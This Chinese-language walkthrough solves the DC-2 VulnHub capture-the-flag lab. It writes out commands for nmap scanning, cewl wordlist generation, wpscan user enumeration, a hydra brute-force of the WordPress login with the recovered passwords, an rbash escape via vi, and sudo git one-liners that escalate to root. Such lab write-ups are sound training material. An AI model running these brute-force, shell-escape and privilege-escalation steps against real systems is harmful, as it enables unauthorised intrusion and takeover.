共有5个flag,包括最终flag.渗透任务就是跟着逐一放出的flag的hint拿到最终的flag.
涉及工具:
'netdiscover':获取目标IP
'nmap':信息收集/端口扫描/Web服务判断
'cewl':密码生成
'wpscan':WordPress漏洞黑盒扫描
'hydra':爆破
root@kali2019:~# netdiscover
root@kali2019:~# nmap -A 192.168.43.153
注:
#选用-A 选项之后,将检测目标主机的下述信息:
服务版本识别(-sV)
操作系统识别(-O)
脚本扫描(-sC)
Traceroute(–traceroute)
结果发常见的1000个端口中只有一个端口开放,即HTTP端口(80)
但是访问该地址:192.168.43.153:80的时候一直失败
后来经过一番折腾后才知道需要设置hosts文件才能访问
其实在端口扫描的结果中已经给出提示Did not follow redirect to http://dc-2/
只怪自己粗心没有注意细节,添加hosts:
'打开 /etc/hosts,添加或修改hosts之后保存'
root@kali2019:~# vim /etc/hosts
'重启网络'
root@kali2019:~# /etc/init.d/networking restart
坑1
:hosts中的格式
错误配置:192.168.43.153 http://dc-2/
正确配置:192.168.43.153 dc-2
这次通过域名访问:
访问后发现页面是一个wordpress,看见了flag1,flag1给出提示密码在这页面上,也就是在提醒使用cewl工具(cewl可以根据给定的URL生成密码列表)
使用cewl生成密码保存在当前目录的pwd.txt中:
root@kali2019:~# cewl http://dc-2/ -w pwd.txt
但是空有密码也没用啊,于是还得获取用户名.
之前已经知到服务器上搭建的是一个wordpress网站,所以可以想到wpscan扫描来枚举网站中的可用用户.
简介
WPScan 是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。
使用wpscan枚举该网站的可用用户:
root@kali2019:~# wpscan --url http://dc-2
(这里由于工具原因在Technawi借了两张图)
扫描结果:
成功获得3个用户名:
# 保存至user.txt
admin
jerry
tom
目前为止,已经有了密码pwd.txt和用户名user.txt了.
因此,开始用hydra对wordpress登录进行暴力破解。
用user.txt和pwd.txt开始爆破:
root@kali2019:~# hydra -L user.txt -P pwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
用户1:jerry 密码:adipiscing
用户2:tom 密码:parturient
尝试登录后台.
用户名:jerry 密码:adipiscing
使用它们登录到wordpress管理员后台
登录成功,开始找flag
通过遍历管理区域后,找到了flag2
来到此页面,却发现了wordpress不可利用的提示,于是只好从另一用户入手了.
由于利用wordpress插件的想法落空,所以尝试使用nmap进行完整的端口扫描:
root@kali2019:~# nmap -p- -A 192.168.43.153
结果发现还有另一个运行SSH服务的开放端口:7744
使用用户tom成功登录
root@kali2019:~# ssh [email protected] -p 7744
在目录下发现flag3.txt,
但是用cat
读取失败,于是尝试使用vi
读取成功,发现了一个提示,需要将用户切换为jerry.
在这里尝试使用其他命令的时候,出现错误:
-rbash: id: command not found
所以这里需要对-rbash进行绕过:
:set shell=/bin/sh
:shell
或者
:!/bin/sh
在vi中输入:set shell=/bin/sh
接着输入:shell
在成功逃离受限的shell之后,却又出现了另一个错误。
/bin/sh: 命令: not found
后来查阅资料发现是环境PATH变量的问题,Linux命令的路径没有出现在该变量上
所以这里需要导入$PATH
export PATH=/bin:/usr/bin
可以发现,错误/bin/sh: 命令: not found
被成功解决了.
由flag3.txt的提示可知,需要将用户切换为jerry
用户名:jerry 密码:adipiscing
切换成功,可是权限却不足,然后在flag4.txt的提示中发现可用git 提权.
使用sudo命令时,发现该用户Jerry
可以以root用户身份运行git命令,而无需输入密码。
因此,这里可以使用git将权限提升为root用户
姿势1:
sudo git branch --help config
!/bin/sh
姿势2:
sudo git -p help config
!/bin/bash
姿势3:
PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
这里使用姿势2进行提权:
提权成功,权限已经变成root
读取final-flag.txt文件的内容:
使用nmap查找打开的端口和正在运行的服务。
使用cewl工具生成密码列表
使用WPSCAN枚举wordpress
使用nmap执行全端口扫描
逃脱受限shell
导入PATH环境变量
使用git工具提升权限(sudo)
靶机DC-1
参考文章:
Restricted Linux Shell Escaping Techniques
DC-2 vulnhub walkthrough
getshell by gtfobins